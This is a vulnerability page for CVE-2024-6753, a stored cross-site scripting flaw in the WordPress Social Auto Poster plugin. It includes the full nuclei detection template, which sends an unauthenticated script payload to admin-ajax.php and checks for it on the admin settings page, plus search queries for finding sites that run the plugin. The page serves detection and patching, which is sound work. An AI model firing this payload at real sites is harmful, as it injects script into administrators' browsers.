Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting

highseverity

7.2CVSS score

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

Social Auto Poster plugin for WordPress versions up to 5.3.14 contains a stored cross-site scripting caused by insufficient sanitization and escaping of 'mapTypes' parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.

Impact

Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "{\"status\":\"success\"}") and contains(content_type, "text/html") and status_code == 200
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=wpw-auto-poster-settings
Positive when: contains(body, "<script>alert(document.domain)</script>") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6753 -u <target>

The full check

id: CVE-2024-6753

info:
  name: Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting
  author: Shivam Kamboj
  severity: high
  description: |
    Social Auto Poster plugin for WordPress versions up to 5.3.14 contains a stored cross-site scripting caused by insufficient sanitization and escaping of 'mapTypes' parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3c268a6d-dfb4-4a9d-802e-80e5c1c53ca2
    - https://patchstack.com/database/vulnerability/social-auto-poster/wordpress-social-auto-poster-plugin-5-3-14-unauthenticated-stored-cross-site-scripting-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-6753
    cwe-id: CWE-79
    epss-score: 0.00822
    epss-percentile: 0.57634
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.component:"WordPress"
    fofa-query: body="social-auto-poster"
  tags: cve,cve2024,wordpress,wp,wp-plugin,social-auto-poster,xss,vkev,vuln

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpw_auto_poster_map_wordpress_post_type&mapTypes=xss_test:<script>alert(document.domain)</script>&postType=post

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"status\":\"success\"}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wpw-auto-poster-settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from